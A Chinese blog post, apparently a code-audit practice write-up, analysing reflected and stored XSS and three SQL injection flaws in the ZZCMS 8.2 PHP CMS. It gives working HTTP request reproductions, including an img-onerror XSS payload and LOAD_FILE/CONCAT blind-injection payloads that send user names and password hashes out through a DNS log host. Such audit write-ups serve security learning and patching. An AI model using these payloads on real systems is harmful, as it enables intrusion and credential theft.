stripfxg php,代码审计| 适合练手的ZZCMS8.2漏洞

最新推荐文章于 2023-07-28 23:15:07 发布
最新推荐文章于 2023-07-28 23:15:07 发布
阅读量578 收藏 1
点赞数
文章标签： stripfxg php

0x00 **背景**

本周，分析了下zzcms8.2的源码，发现了蛮多问题的，觉得这个源码适合萌新们练手或入坑PHP的代码审计，发出一些我发现的问题，当然这个源码还有很多问题，本篇仅对部分漏洞进行分析，至于如何GetShell我会在下周分享出我的方法。期待与师傅们的交流讨论。

0x01 **审计过程**

XSS**相关问题**

0x00 **相关环境**

源码信息：ZZCMS 8.2问题文件：\zzcms\zzcms8.2\install\step_6.php漏洞类型：反射型XSS站点地址：

0x01 **漏洞分析**

在\zzcms\zzcms8.2\install\step_6.php中的第10-11行中得到如下代码块。

740411b6387994c40165db74c511accb.png

因为\zzcms\zzcms8.2\install\index.php文件的第8-9行中使用了注册变量的操作。

e4b71238458f13d472a5dff98efd3c1b.png

且在\zzcms\zzcms8.2\install\index.php文件的第123行中包含了\zzcms\zzcms8.2\install\step_6.php文件。

76389f1249177b21ae5d7b318757f74f.png

因此从注册变量再到输出整个数据的传递过程没有做任何的安全处理，所以存在反射型XSS等攻击。

0x02 **漏洞复现**

进行如下请求，便可以触发JS代码。POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

Referer: [http://127.0.0.1/install/index.php](http://127.0.0.1/install/index.php)

Cookie: ECS[visit_times]=4; ECS_ID=0c10cf200fe52e4044f277d2a4fb4391514db71d; ECSCP_ID=946e425af3501b9e1b2d360a76b2cffa0f44f617; PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43

Connection: close

Upgrade-Insecure-Requests: 1

admin=admin&adminpwdtrue=admin&step=6

1x00 **相关环境**

源码信息：ZZCMS 8.2问题文件：\zzcms\zzcms8.2\zx\show.php漏洞类型：存储型XSS漏洞站点地址：

1x01 **漏洞分析**

首先分析输入位置：在\zzcms\zzcms8.2\user\zxsave.php文件中的第51-57行中的如下代码块中将留言的内容插入到数据库中。

081a8f2cfda3beef26cfadfa880cde40.png

在\zzcms\zzcms8.2\user\zxsave.php文件的第3行中包含了/inc/conn.php文件，

f790c865ea9885036898d27c6c51b1b4.png

然后在\zzcms\zzcms8.2\inc\conn.php文件中包含了/inc/stopsqlin.php文件。

3c35b7cfc0eec1d1b0959e20b7f0613d.png

在\zzcms\zzcms8.2\inc\stopsqlin.php文件中的第6-13行，对传入的数据的字符进行了实体化和转义处理。

e889e8f2e837ccec747770836e57304b.png

因此编辑资讯操作存在数据库中是以关键符号实体化和转义后存入。

ab60cabee417a082409fba9823afeb5f.png

然后分析输出位置：在\zzcms\zzcms8.2\zx\show.php文件中的第36-40行中从数据库中取出数据，然后对content列做stripfxg处理。

3bead2e533193f7862275f2066f0e986.png

跟入stripfxg方法，在\zzcms\zzcms8.2\inc\function.php文件的第577行发现该方法，分析该方法知道是对传入的数据进行实体化和转义的还原操作，因此content列的数据经过该方法的处理后，便还原为原本的字符串。

38bfb225473bb0096d882cb857c39d5e.png

最后在155-181行中的代码是调用showcontent和Payjf等方法，将数据输出到页面上，但是也没有对一些危险字符进行安全处理，所以此处存在存储型XSS。

b6c4eda27771f4e4a4981d2ad57611e9.png

类似的问题该源码还存在许多位置，大家可以自行发现。

1x02 **漏洞复现**

注册普通会员后，登陆到个人中心进行发资讯操作。

153d5a2bfbe2cd5e5c4f06de47e5c816.png

然后进行如下操作，将payload存入到数据库中。

49ada7be2baadc17e2b124cad4fe5b76.png

发布后访问该资讯便会触发XSS。

33ff467473304ec26b4a0a1f9fecee8a.png

当然也可直接进行如下操作，将payload存入数据库，然后再访问资讯触发XSS。POST /user/zxsave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 242

Referer: [http://127.0.0.1/user/zxmodify.php?id=5](http://127.0.0.1/user/zxmodify.php?id=5)

Cookie: bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

bigclassid=0&smallclassid=0&title=1&link=&laiyuan=zzcms&content=%3Cimg+onerror%3D%22alert%601%60%22+src%3D%220%22+%2F%3Eaaaaaaaaaaa&keywords=1&description=&groupid=0&jifen=0&Submit=%E5%8F%91+%E5%B8%83&id=5&editor=Thinking&page=1&action=modify

SQL**注入问题：**

0x00 **相关环境**

源码信息：ZZCMS 8.2问题文件：\zzcms\zzcms8.2\inc\function.php漏洞类型：SQL注入漏洞站点地址：

0x01 **漏洞分析**

在\zzcms\zzcms8.2\user\check.php文件的第19行中，在执行SQL语句的时候使用了getip方法获取登录IP然后拼接到SQL中

afb924213302ca1d284c0efc86eaf2db.png

跟入getip方法，在\zzcms\zzcms8.2\inc\function.php文件中的第100行发现代码块，通过分析该方法，发现并没有对传入的IP进行合规判断，又将方法的结果返回到调用的位置，所以此处存在SQL注入，经过分析发现有多处使用了getip方法与数据进行拼接，所以还有许多漏洞等待挖掘。

而getip方法被使用的位置也是有很多处，大家也可自行发现其他位置的安全问题。

0x02 **漏洞复现**

进行如下请求，注入的位置在client-ip，由于数据没有进行回显，所以可以利用DNSlog或者盲注获取数据。POST /user/logincheck.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 106

Referer: [http://127.0.0.1/user/login.php](http://127.0.0.1/user/login.php)

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018

client-ip:127.0.0.9'and (select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#

Connection: close

Upgrade-Insecure-Requests: 1

username=Thinking&password=thinkingpwd&yzm=33&fromurl=http%3A%2F%2F127.0.0.1%2F&Submit=%E7%99%BB+%E5%BD%95

进行如上请求后查看dnslog可以看到返回的结果，对结果进行unhex可以得到明文信息。

6e7dbf66b92215d421701564d78a1e6b.png

1x00 **相关环境**

源码信息：ZZCMS 8.2问题文件：\zzcms\zzcms_xm8.2\user\del.php漏洞类型：SQL注入漏洞站点地址：

1x01 **漏洞分析**

在\zzcms\zzcms8.2\user\del.php文件的第138-141行中，当$tablename不满足if和elseif 的条件的时候，便会进入到如下代码块。

7f15819946d8d8f465e665bd6df80cf3.png

因为注入的位置是表名，因此可以不需要引入符号进行闭合，所以就可以无视/inc/stopsqlin.php文件中的安全处理规则，所以此处可以直接进行SQL注入。

1x02 **漏洞复现**

注册用户后等，然后进行如下请求，由于tablename参数的传入会经过/inc/stopsqlin.php文件进行处理，且此处是属于盲注，可以使用DNSlog获取数据，然后在将字符进行16进制编码，避免使用引号引入。POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 282

Referer: [http://127.0.0.1//user/zxmanage.php](http://127.0.0.1//user/zxmanage.php)

Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=3a923a7d00ee3e041d018b2708ee9994

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=1&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zxmanage.php%3Fpage%3D1&tablename=zzcms_zx union select 1,LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))#

进行如上请求后可以在dnslog上获取到数据。

2x00 **相关环境**

源码信息：ZZCMS 8.2问题文件：\zzcms\zzcms8.2\user\msg.php漏洞类型：SQL注入漏洞站点地址：

2x01 **漏洞分析**

在\zzcms\zzcms8.2\user\msg.php文件中的第29-36行中，使用了stripfxg方法对POST传入的info_content参数的值进行处理，虽然该源码会对传入的参数的值进行实体化和转义处理，但是此处由于使用stripfxg方法会还原为原本的数据，因此可以引入单引号，所以存在SQL注入漏洞。

75d7d6065bb729b7c064e2c72ca57594.png

2x02 **漏洞复现**

进行如下请求，然后可以在DNSlog上获取到数据。POST /user/msg.php?action=savedata&saveas=modify HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 243

Referer: [http://127.0.0.1/user/msg.php?action=modify&id=1](http://127.0.0.1/user/msg.php?action=modify&id=1)

Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

info_content=aaaaaaaaaaa'^(select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A

25b376912ad90640a42320b4626ecd8b.png

0x02 **小结**

本篇列举了ZZCMS8.25版本的 XSS与SQL注入的问题，大家如果有发现其他方法好玩的洞也欢迎与我一同聊聊thinking_balabala@163.com，期待与师傅们的各种讨论，期待交流下周的GetShell方法吧。

神奇小懷好
关注
zzcms8.1.7z
11-24
zzcms v8.1
zzcms8.2任意用户修改密码漏洞
Snowflake1997的博客
03-03 407
1.在登录界面点击密码找回。 2.输入用户名以及验证码 进入安全验证界面时，打开burpsuite进行抓包，点击获取验证码 3.验证码为1151 4.输入后进入设置新密码
CVE-2021-40280
最新发布
m0_51674437的博客
07-28 465
CVE-2021-40280漏洞复现
zzcms8.2 用户修改密码漏洞
xdjxi的博客
03-03 4431
既然注册的地方存在逻辑漏洞，未对图形验证码做任何防护。那大胆猜测一下，找回密码处也存在漏洞 好的，抓包 这是找回密码的界面，很简单，就一个图形验证，但刚刚已经发现，注册的地方图形验证好像也没什么用，那估计这里也一样。 继续下一步 发现需要验证码，但是邮箱地址是假的啊，上哪找去，emmm，在经过了一般思考后，我决定先把每一步用burp抓包看一下，然后发现它返回的包是这样的 这是一个JavaScript代码 题外话：刚刚检测用户是否存在也是这个提示，或许待会可以试试用户注册重置 先..
ZZCMS8.2 用户密码重置漏洞
weixin_30363509的博客
08-03 508
前言 一个找回密码处的逻辑漏洞， 还是有点意思的。 正文 首先是定位找回密码功能对应的代码位置，使用找回密码的功能，然后抓包即可 下面去 getpassword.php 里面看看， 首先包含了一些文件 在 conn.php 中，包含了 stopsqlin.php 会对参数进行过滤操作。 stopsqlin.php 中对参数的过滤 回到getpassword.php , 文件后面就开始进入 ...
118修复_zzcms8.2 admin 登录验证不通过修复 & sort命令
weixin_39627052的博客
12-26 267
zzcms8.2 admin 登录验证不通过修复 审计sort命令zzcms8.2 admin 登录验证不通过修复 审计login.php
zzcms83代码审计练习
10-24
提供刚刚学习代码审计的同学一起学习，其实也没有什么好说的，由于市面上比较难找，这里提供给大家方便下载，版本是8.3的。
zzcms2020代码审计1
08-03
【zzcms2020代码审计1】涉及的是一个针对zzcms内容管理系统在2020年进行的安全审计过程，该审计主要揭示了一个SQL注入漏洞。审计报告来源于奇安信攻防社区，其中包含了对问题的详细分析和复现步骤。 审计首先指出，...
ZZCMS201910代码审计1
08-03
ZZCMS201910 代码审计是一个深入理解软件安全性和进行漏洞挖掘的过程，主要关注的是SQL注入漏洞。SQL注入是一种常见的网络安全问题，它发生在应用程序未能充分验证或过滤用户输入，导致恶意用户可以通过构造特定的...
zzcms2020.zip
07-31
对于网络安全和代码审计领域的专业人士来说，这样的系统是理想的练习平台，他们可以通过深入分析和测试来发现并解决这些漏洞，从而提高自己的技能。 在【标签】中，我们看到了"web"、"PHP"和"代码审计"这三个关键词...
zzcms网站管理系统 v1.0
03-29
为达到最佳效果，推荐使用九网互联的PHP全能空间，支持Zend、MySQL。程序说明ZZCMS是一个免费的开源的网站管理系统，目前功能主要用于个人网站建设和企业网站建设，欢迎你的加入，请提出你宝贵的意见，在此感谢！采用PHP+MYSQL开发开发环境：php5.0 mysql5.0特点：简单易用，灵活的函数调用MVC模式开发多级栏目分类采用著名的FCK编辑器为后台编辑器目前具有模块：单页、文章、图片、下载、友情连接程序安装路径：http://你的网站地址/install后台路径：http://你的网站地址/admin/AdminLogin.php更多内容请登录：http://www.zzcms.com因为程序要不断更新函数调用方法，请到官方网站查询
zzcms_v8.1.rar
03-12
这个是之前一篇文章的源代码，名字是逻辑漏洞-1，然后，代码是zzcms8.1，具体使用说明等，在文件夹里有说明，这里就不做详细说明了。
zzcms8.3.zip
08-26
学习代码审计的源码,也可以用来学习PHP架构,等等.....
zzcms2019.zip
08-22
【zzcms2019.zip】是一个压缩包文件，包含了用于代码审计、网站搭建以及PHP代码学习的相关资源。从标题和描述中我们可以提取出几个关键的知识点，它们是PHP编程语言的学习、网站构建以及代码安全审计。 首先，PHP...
stripfxg php,zzcms v8.2 中的众多cve分析
weixin_29370183的博客
04-13 289
看了一下最近的cve列表，发现有大佬怒刷了好多个cve，这个zzcms都快被审穿了，所以跟进学习一下CMS背景本文跟踪的这个cms，属于一个开源招商网站管理系统，属于比较小的cms，所以很多地方写的不是很完善，导致了漏洞的产生，项目官网为 http://www.zzcms.net/ ，本次我跟进的版本为8.2。CVE-2018-8966首先，这是一个在安装的时候的代码注入，如果不配合其他漏洞删除...
zzcms sql注入分析
课嗨教育的专栏
10-26 554
action=="del" 下面应用sql语句不存在任何过滤，被直接带入到了query中执行。
PHP代码审计入门学习过程
difination的博客
02-22 3490
PHP代码审计学习过程： 花了两周的时间在B站上看完了一个老师讲的代码审计课程，主要是通过实战的方式对一个CMS系统里面的漏洞进行讲解，一步一步的审计找出漏洞，对新手来说确实困难，要上手的话还是自己找网上一些简单的CMS或是代码审计靶场来练手。代码审计入门确实挺难的，大部分原理都没有学会，后续也要继续加深学习。 进行代码审计必须要关注： 1.敏感的函数和变量 2.跟踪敏感函数和关键字参数传递过程。 3.查找可控变量，一步一步的跟踪变量测传递过程。 4.寻找敏感功能点，对功能点进行审计 PH.
zzcms 8.2
公众号shadow sock7
10-31 2108
zzcms 8.2反射型XSS 问题出现在install/index.php的123行中包含了install/step_6.php文件 而在install/step_6.php中直接将用户名/密码echo出来，造成了反射型。 Demo 只需要在用户名密码处填写基本的XSS payload即可，然而这个漏洞需要在没安装的情况下，或者更准确地说是不存在install/install.lock文件的...
ZZCMS搭建
weixin_53323333的博客
06-22 922
4.傻瓜式下一步。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值